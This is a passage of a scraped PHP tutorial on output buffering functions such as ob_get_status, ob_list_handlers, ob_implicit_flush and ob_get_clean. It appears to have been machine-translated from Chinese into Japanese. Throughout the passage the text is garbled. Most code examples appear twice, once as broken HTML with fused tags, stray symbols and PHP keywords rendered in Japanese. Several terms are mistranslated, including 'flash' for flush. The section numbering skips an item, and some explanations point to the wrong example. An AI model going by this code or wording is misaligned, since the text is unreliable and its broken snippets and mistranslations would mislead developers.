comments">//输出长度</code></p><div class="line number12 index11 alt1"><code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲区</code></p><div class="line number13 index12 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <div class="linenumber2index1alt1">2<divclass>3<divclass>4 <div class="linenumber5index4alt2">5<divclass>6<divclass>7<div alt1>8<div class="行番号9 インデックス8 alt2">9<div alt1>10<div alt2>11<div class="linenumber12index11alt1">12<divclass>13</divclass> </div> </div> </div> </div> </div></divclass></divclass> </div></divclass></divclass> </div> </div></td> <td class="code"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1">< code class ="php comments">/*例 9*/</code><🎜><div class="linenumber3index2 alt2"><code class="php function">echo</code> <code class= "php 関数">str_pad</code><code class="php plain">(</code><code class="php string">"</code><code class="php plain">, 1024 ); </code><code class="php comments">// バッファをオーバーフローします</code><🎜><div class="linenumber4index3 alt1"><code class="php plain">ob_start() ; </code><code class="php comments">// バッファを開く</code><🎜><div class="linenumber5index4 alt2"><code class="php plain">phpinfo();< /code><🎜><div class="linenumber6index5alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code> <code class="php comments">//バッファの内容を取得する</code><🎜><div class="linenumber7index6alt2"><codeclass="phpvariable">$length</code><code class ="php plain">= ob_get_length();</code><code class="php comments">//バッファ内容の長さを取得する</code><🎜><div class="linenumber8index7alt1">< code class="php variable">$re</code> <code class="php plain">= </code><code class="php function">fopen</code><code class="php plain " >(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string"> ' wb'</code><code class="php plain">);</code><🎜><div class="linenumber9index8 alt2"><code class="php plain">fwrite(</code > <code class="php 変数">$re</code><code class="php plain">、</code><code class="php 変数">$string</code><code class="php plain">);</code><code class="php comments">// コンテンツをファイルに書き込みます</code><🎜><div class="linenumber10index9alt1"><code class="php plain" >fclose(</code><code class="php variable">$re</code><code class="php plain">);</code><🎜><div class="linenumber11index10alt2" ><code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); "php comments">//出力の長さ</code><🎜><div class="linenumber12index11alt1"><code class="php plain">ob_end_flush();</code><code class= "php comments">// バッファを出力して閉じる</code><🎜><div class="linenumber13index12alt2"><code class="php plain">?> </codeclass></div></td> </tr></tbody></table> <p><strong> 4. int ob_get_level (void)</strong></p> <p> この関数は、ob_start() を導入したときに述べた、バッファリング メカニズムのネスト レベルを取得するために使用されます。 function ただし、スクリプト内で複数のバッファーをネストすることができ、この関数は現在のバッファーのネスト レベルを取得するために使用します: </p> <p></p> <div id="highlighter_284252" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9</div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例10*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php plain">var_dump(ob_get_level());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_start();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_level());</code></p><div class="line number7 index6 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number8 index7 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2 <div class="linenumber3index2alt2">3<divclass>4<p><divclass>5</divclass></p> <div class="linenumber6index5alt1">6<p><divclass>7<strong><divclass>8</divclass></strong><divclass index8 alt2>9</divclass></divclass></p> </div></divclass> </div></divclass> </div></td> <td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain">< ?php</code><p><div class="linenumber2index1alt1"><codeclass="php comments">/*例 10*/</code></p><div class="linenumber3index2 alt2"><code class="php plain">ob_start();</code><p><div class="linenumber4index3 alt1"><code class="php plain">var_dump(ob_get_level()); </code><div id="highlighter_654569" class="syntaxhighlighter php"><div class="linenumber5index4alt2"><codeclass="php plain">ob_start();</code><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例11*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(&lsquo;ob_gzhandler&rsquo;);</code></p><div class="line number4 index3 alt1"><code class="php plain">var_export(ob_get_status());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_start();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_export(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number8 index7 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>var_dump(ob_get_level());<div class="linenumber7index6 alt2"> <code class="php plain">ob_end_flush();</code> <div class="linenumber8index7alt1"><codeclass plain>ob_end_flush();<divclass><codeclass php plain>?> を実行するとはっきりとわかります。入れ子の関係。 5. array ob_get_status ([ bool $full_status = FALSE ] ) この関数は、現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、詳細情報の配列が返されます。例を使用してこの配列を分析してみましょう: <table border="0" cellpacing="0" cellpadding="0"> <tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<divclass alt2>3<div class="行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1> 6<div class="linenumber7index6 alt2">7<div class="linenumber8index7alt1">8<div class="linenumber9index8 alt2">9 </div> </div> </div> </div> </div> </div></divclass></divclass> </div></td> <td class="code"><div class="container"><div class="linenumber1index0alt2"> <code class="php plain"><?php</code><🎜 > <div class="linenumber2index1alt1"><code class="php comments">/*例 11*/</code><🎜><div class="linenumber3index2 alt2"><code class=" php plain">ob_start('ob_gzhandler');</code><🎜><div class="linenumber4index3 alt1"><code class="php plain">var_export(ob_get_status());</code>< 🎜 ><div class="linenumber5index4alt2"><codeclass="php plain">ob_start();</code><🎜><div class="linenumber6index5alt1"><codeclass="php plain ">var_export(ob_get_status());</code><🎜><div class="linenumber7index6 alt2"><code class="php plain">ob_end_flush();</code><🎜><div class="linenumber8index7alt1"><codeclass="php plain">ob_end_flush();</code><🎜><div class="linenumber9index8 alt2"><code class="php plain">? &gt ;</code><🎜><🎜></td></tr></tbody></table></p></p><p> 本稿输出如下:</p><p><div id="highlighter_379918" class="syntaxhighlighter php"><table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class ="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p><div class="line number10 index9 alt1">10</p><div class="line number11 index10 alt2">11</p><div class="line number12 index11 alt1">12</p><div class="line number13 index12 alt2">13</p><div class="line number14 index13 alt1">14</p><div class="line number15 index14 alt2">15</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php keyword">array</code> <code class="php plain">(</code></p><div class="line number2 index1 alt1"><code class="php spaces"> </code><code class="php string">'level'</code> <code class="php plain">=> 1,</code><div class="line number3 index2 alt2"> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code><div class="line number4 index3 alt1"> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code><div class="line number5 index4 alt2"> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'ob_gzhandler'</code><code class="php plain">,</code><div class="line number6 index5 alt1"> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code><div class="line number7 index6 alt2"> <code class="php plain">)</code><div class="line number8 index7 alt1"> <code class="php spaces"> </code> <div class="line number9 index8 alt2"> <code class="php keyword">array</code> <code class="php plain">(</code><div class="line number10 index9 alt1"> <code class="php spaces">  </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code><div class="line number11 index10 alt2"> <code class="php spaces">  </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code><div class="line number12 index11 alt1"> <code class="php spaces">  </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code><div class="line number13 index12 alt2"> <code class="php spaces">  </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'default output handler'</code><code class="php plain">,</code><div class="line number14 index13 alt1"> <code class="php spaces">  </code><code class="php string">'del'</code> <code class="php plain">=> true,</code><div class="line number15 index14 alt2"><code class="php plain">)</code></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div></td> </tr></tbody> </table> <divclass>2<divclass>3 <div class="linenumber4index3alt1">4<divclass>5<divclass>6<divclass linenumber7index6alt2>7<divclass>8<divclass>9<divclass>10<div class="linenumber11index10alt2">11<divclass>12<divclass>13 <div class="linenumber14index13alt1">14<divclass>15<td class="code"><div class="container"> <div class="linenumber1index0alt2"><codeclass>配列<codeclass plain>(<div class="linenumber2index1 alt1"> <code class="php space"> </code><code class="php string">'レベル'</code> <code class="php plain">=> 1、</code><div class="linenumber3 index2 alt2"> <code class="php space"> </code><code class="php string">'type'</code> => 1、<div class="linenumber4 index3 alt1"> <code class="php space"> </code><code class="php string">'ステータス'</code> => 0,<div class="linenumber5index4alt2"> <code class="php space"> </code><code class="php string">'name'</code>=> <code class="php string">'ob_gzhandler'</code><code class="php plain">,</code><div class="linenumber6index5alt1"> <code class="php space"> </code><code class="php string">'del'</code> <code class="php plain">=> true、</code><div class="linenumber7index6alt2"><codeclass plain>)<divclass><code class="php space"> </code> <div class="linenumber9index8alt2"> <code class="phpキーワード">配列</code> <code class="php plain">(<div class="linenumber10index9alt1"> <code class="php space"> </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code><div class="linenumber11index10alt2"> <code class="php space"> </code><code class="php string"> 'type'</code> <code class="php plain">=> </code><div class="linenumber12index11alt1"><code class="php space"> code><code class="php string">'ステータス'</code> <code class="php plain">=> </code><div class="linenumber13index12alt2"> <code class="php space"> </code><code class="php string">'name'</code> <code class="php plain">=> php string">'デフォルトの出力ハンドラー'</code><code class="php plain">,</code><div class="linenumber14index13alt1"><codeclass space> <code class="php string">'del'</code> <code class="php plain">=> true、</code><div class="linenumber15index14alt2"><code class="php plain">)</code></div></codeclass></div> </div></code></div> </div> </div></code> </div></divclass></codeclass></div> </div> </div> </div> </div> </div></codeclass></codeclass></div> </div></td> tbody><p> Level はネストレベルで、ob_get_level() で取得した値と同じです。 </p> <p> Type は処理バッファのタイプで、0 はシステム内での自動処理、1 はユーザーによる手動処理です。 </p> <p> Status はバッファ処理ステータス、0 は開始、1 は進行中、2 は終了 </p> <p> name は定義された出力処理関数の名前であり、 ob_start() 関数 パラメータとして渡される関数名。 </p> <p> del は削除バッファ操作が実行されたかどうかを意味します </p> <p> 上記の配列の意味を理解すると、バッファのプロパティをよく理解できます。 </p> <p><strong> 6. array ob_list_handlers (void)</strong></p> <p> この関数は、ob_start( で指定した番号である出力ハンドラーの関数名の配列を取得するために使用されます。 ) 関数。渡したパラメータが匿名関数である場合、または設定ファイルで <em><code>output_buffering</code></em> が有効になっている場合、関数はデフォルトの出力ハンドラーを返すことに注意してください。公式 PHP マニュアル この関数は次のように非常によく説明できます。 </p> <p></p> <div id="highlighter_252355" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="ガッター"> <div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例12*/</code></p><div class="line number3 index2 alt2"><code class="php comments">//using output_buffering=On</code></p><div class="line number4 index3 alt1"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number6 index5 alt1"><code class="php spaces"> </code> </p><div class="line number7 index6 alt2"><code class="php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number9 index8 alt2"><code class="php plain">ob_end_flush();</code></p><div class="line number10 index9 alt1"><code class="php spaces"> </code> </p><div class="line number11 index10 alt2"><code class="php comments">// anonymous functions</code></p><div class="line number12 index11 alt1"><code class="php plain">ob_start(create_function(</code><code class="php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class="php plain">));</code></p><div class="line number13 index12 alt2"><code class="php plain">print_r(ob_list_handlers());</code></p><div class="line number14 index13 alt1"><code class="php plain">ob_end_flush();</code></p><div class="line number15 index14 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2<divclass>3<div class=" 行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1>6<div index6 alt2>7<div class="linenumber8index7alt1">8<divclass>9<divclass>10 <div class="linenumber11index10alt2">11<divclass>12<divclass>13<div class=" linenumber14index13alt1">14<div class="linenumber15index14alt2">15</div> </div></divclass></divclass> </div></divclass></divclass> </div> </div> </div> </div> </div></divclass></divclass> </div> </td> <td class="code"><div class="container"><div class=" linenumber1index0 alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/ *例 12 */</code><🎜><div class="linenumber3index2 alt2"><code class="php comments">//output_buffering=On を使用</code><🎜><div class=" linenumber4index3alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber5index4 alt2"><code class="php plain">ob_end_flush (); </code><🎜><div class="linenumber6index5alt1"><codeclass="phpspaces"></code><🎜><divclass="linenumber7index6alt2"><code class=" php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code><🎜><div クラス="linenumber8index7alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber9index8 alt2"><code class="php plain" >ob_end_flush( );</code><🎜><div class="linenumber10index9alt1"><codeclass="phpspaces"> </code><🎜><divclass="linenumber11index10alt2"> <code class="php comments">// 匿名関数</code><🎜><div class="linenumber12index11alt1"><code class="php plain">ob_start(create_function(</code><code class=" php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class=" php plain">));</code><🎜><div class="linenumber13index12 alt2"><code class="php plain">print_r(ob_list_handlers());</code><🎜 ><div class="linenumber14index13alt1"><codeclass="php plain">ob_end_flush();</code><🎜><div class="linenumber15index14alt2"><code class="php plain ">? ></code></div></div></td> </tr></tbody></table> <p> 出力結果は次のとおりです:</p> <p></p> <div id="highlighter_68969" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"> <code class="php plain">Array</code><div class="line number2 index1 alt1"> <code class="php plain">(</code><div class="line number3 index2 alt2"> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code><div class="line number4 index3 alt1"> <code class="php plain">)</code><div class="line number5 index4 alt2"> <code class="php spaces"> </code> <div class="line number6 index5 alt1"> <code class="php plain">Array</code><div class="line number7 index6 alt2"> <code class="php plain">(</code><div class="line number8 index7 alt1"> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code><div class="line number9 index8 alt2"> <code class="php plain">)</code><div class="line number10 index9 alt1"> <code class="php spaces"> </code> <div class="line number11 index10 alt2"> <code class="php plain">Array</code><div class="line number12 index11 alt1"> <code class="php plain">(</code><div class="line number13 index12 alt2"> <code class="php spaces">    </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code><div class="line number14 index13 alt1"><code class="php plain">)</code></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div></td> </tr></tbody></table> <divclass>2<divclass>34<divclass>5<divclass>6<div class="line number7index6alt2">7<div class="linenumber8index7alt1">8<divclass>9<divclass> 10<div class="linenumber11index10alt2">11<divclass>12<divclass>1314</divclass></divclass> </div></divclass></divclass> </div> </div></divclass></divclass></divclass></divclass> </div></td> <tdclass><div class="container"><div class="linenumber1index0 alt2"> <code class=" php plain">配列</code><div class="linenumber2index1alt1"><codeclass plain>(<div class="linenumber3index2alt2"> <code class="php space"> </code><code class="php plain">[0] => </code><code class="php string">'デフォルトの出力ハンドラー'</code><div class="linenumber4index3alt1"> <code class="php plain">)</code> <div class="linenumber5 index4 alt2"> <code class="php space"> </code> <div class="linenumber6index5 alt1"> <code class="php plain">配列</code><div class="linenumber7index6alt2"><codeclass plain>(<divclass><codeclass> <code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code><div class="linenumber9index8alt2"><codeclass plain>)<div class="linenumber10index9alt1"> <code class="php space"> </code> <div class="linenumber11index10alt2"> <code class="php plain">配列</code><div class="linenumber12index11 alt1"> <code class="php plain">(</code><div class="linenumber13index12alt2"> <code class="php space"> </code><code class="php plain">[0] =></code> code><code class="php string">'デフォルトの出力ハンドラー'</code><div class="linenumber14index13 alt1"><code class="php plain">)</code></div> </div> </div> </div> </div></codeclass></div></codeclass></divclass></codeclass></div> </div> </div> </div> </div></codeclass></div> </div></div></tdclass> </tr></tbody></table> <p> バッファーの内容の出力、クローズ、送信に関連する関数を見てみましょう: </p> <p><strong> 7. void ob_flush ( void )</strong></p> <p> この関数は、前の例でよく使用されます。その機能は、現在のバッファーの内容を「送信」すると同時にバッファーをクリアすることです。ここで「送信」という言葉が使用されているのは、次のことを意味します。この関数を呼び出しても、バッファの内容は出力されません。例 3 からわかるように、出力する前に、後でフラッシュ関数を呼び出す必要があります。フラッシュの使用法については後で説明しますが、ここでは例は示しません。 </p> <p><strong> 8. void flash ( void )</strong></p> <p> この関数は比較的一般的に使用され、以前の出力をすべてブラウザに送信して表示するために使用されます。キャッシュは何らかの影響を及ぼします。この関数は、例 3 と 4 で現在の出力をブラウザに表示するために使用されます。つまり、flush() の実行後に、echo、HTML エンティティ、または ob_start() の実行によって送信されたコンテンツなどの関数の出力です。ブラウザに表示されます。 </p> <p><strong> 9. void ob_implicit_flush ([ int $flag = true ] )</strong></p> <p> この関数は、自動的にフラッシュする絶対フラッシュ モードのオン/オフを切り替えるために使用されます。各出力の後に、flush() を実行します。これにより、効率を向上させるために明示的に flash() を呼び出す必要がなくなります。例 4 を少し変更し、この関数を使用して同じ効果を実現します。 </p> <p></p> <div id="highlighter_169204" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例13*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_implicit_flush(true);</code><code class="php comments">//打开绝对刷送</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php comments">//flush(); 之后不需要再显示的调用 flush()</code></p><div class="line number7 index6 alt2"><code class="php plain">sleep(1);</code></p><div class="line number8 index7 alt1"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number9 index8 alt2"><code class="php comments">//flush();</code></p><div class="line number10 index9 alt1"><code class="php plain">sleep(1);</code></p><div class="line number11 index10 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number12 index11 alt1"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div class=" 行番号 7 インデックス 6 alt2">7<div class="行番号 8 インデックス 7 alt1">8<div alt2>9<div alt1>10<div class="linenumber11index10alt2">11<div class="linenumber12index11alt1">12</div> </div> </div> </div> </div> </div></divclass></divclass> </div></divclass></divclass> </div></td> <td class="code"> <div class="container"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1"><code class="php comments">/*例 13*/</code><🎜><div class="linenumber3 index2 alt2"><code class="php function">echo</code> <code class =" php 関数">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024) ;</code><code class="php comments">// バッファをオーバーフローさせる</code><🎜><div class="linenumber4index3alt1"><code class="php plain">ob_implicit_flush (true) ;</code><code class="php comments">//絶対ボーナスを開く</code><🎜><div class="linenumber5index4alt2"><codeclass="phpfunctions"> echo</code > <code class="php string">'oschina.net'</code><code class="php plain">;</code><🎜><div class="linenumber6index5alt1" ><コードクラス="php comments">//flush(); その後、flush() を呼び出す必要はありません。</code><🎜><div class="linenumber7index6alt2"><code class="php plain">sleep (1);</code><🎜><div class="line number8index7 alt1"><code class="php function">echo</code> <code class="php string">' スイートポテト'< /code><code class="php plain">;</code><🎜><div class="linenumber9 index8 alt2"><code class="php comments">//flush();< /code> <🎜><div class="linenumber10index9alt1"><codeclass="php plain">sleep(1);</code><🎜><div class="linenumber11index10alt2"><code class= "php 関数">echo</code> <code class="php string">'Chongchong'</code><code class="php plain">;</code><🎜><div class ="行番号 12 index11 alt1"><code class="php plain">?></codeclass></div></div> </td> </tr></tbody></table> <p> この例では、例 4 と同じ効果が得られます。絶対フラッシュがオンになっているため、システムは出力後にフラッシュ()を呼び出す必要はありません。 </p> <p><strong> 10. bool ob_end_flush (void)</strong></p> <p> この関数はバッファの内容を送信し、バッファをクローズします。実際、これは ob_flush() および ob_end_clean() を実行するのと同じであり、バッファの内容を文字列の形式で返すだけであり、非常に単純で例は必要ありません。 </p> <p><strong> 12. void ob_clean ( void )</strong></p> <p> この関数は現在のバッファをクリアしますが、バッファを閉じません。次の例の出力は表示されません。 . 、バッファは出力前にクリアされているため、バッファが閉じられていないことを示すバッファのプロパティを取得できます: </p> <p><strong><table border="0" cellpacing=" 0 " cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<div class="linenumber3index2alt2">3<p><divclass>4</divclass></p> <divclass>5<p></p> <div class="linenumber6index5alt1">6<div id="highlighter_60471" class="syntaxhighlighter php"><divclass>7<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7</div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例14*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_clean();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table></divclass></div> </div></divclass> </div></divclass> </div></td> <td class="code"><div class="container"><div class="linenumber1index0alt2"> <code class="php plain"><?php</code></p><div class="linenumber2index1 alt1"><code class="php comments">/* 例14*/</code></p><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><p><divclass="linenumber4index3alt1 "><code class="php function">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><strong> < div class="linenumber5index4alt2"><code class="php plain">ob_clean();</code></strong><div class="linenumber6index5 alt1"><code class="php plain" > var_dump(ob_get_status());</code></p><div class="linenumber7index6 alt2"><code class="php plain">?></code><p></p> td ></div></div></td> </tr></tbody></table> <p></p> <div id="highlighter_468504" class="syntaxhighlighter php"> <table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7</div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例15*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php plain">ob_end_clean();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> 13. bool ob_end_clean ( void ) この関数はバッファをクリアして閉じます。例 14 では、バッファが閉じられているため、バッファのステータスを取得できなくなっていることがわかります: <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<divclass>23<div class="行番号 4 インデックス 3 alt1">4<div alt2>5<div alt1>6<div class="linenumber7index6alt2">7</div> </div> </div> </div></divclass> </div></td> <td class="code"><div class="container"><div class="linenumber1index0alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例 15* /</code ><🎜><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><🎜><divclass="linenumber4index3alt1"><codeclass= "php 関数">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><🎜><div class ="行番号 5 Index4 alt2"><code class="php plain">ob_end_clean();</code><🎜><div class="linenumber6index5 alt1"><code class="php plain">var_dump( ob_get_status()) ;</code><🎜><div class="linenumber7index6 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <p><strong> 14. string ob_get_clean (void)</strong></p> <p> この関数はキャッシュをクリアして閉じますが、キャッシュ内のデータを文字列の形式で返します。実際、この関数は ob_get_contents() と ob_end_clean() をそれぞれ実行します。</p> <p></p> <div id="highlighter_659181" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8</div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例16*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code></p><div class="line number6 index5 alt1"><code class="php 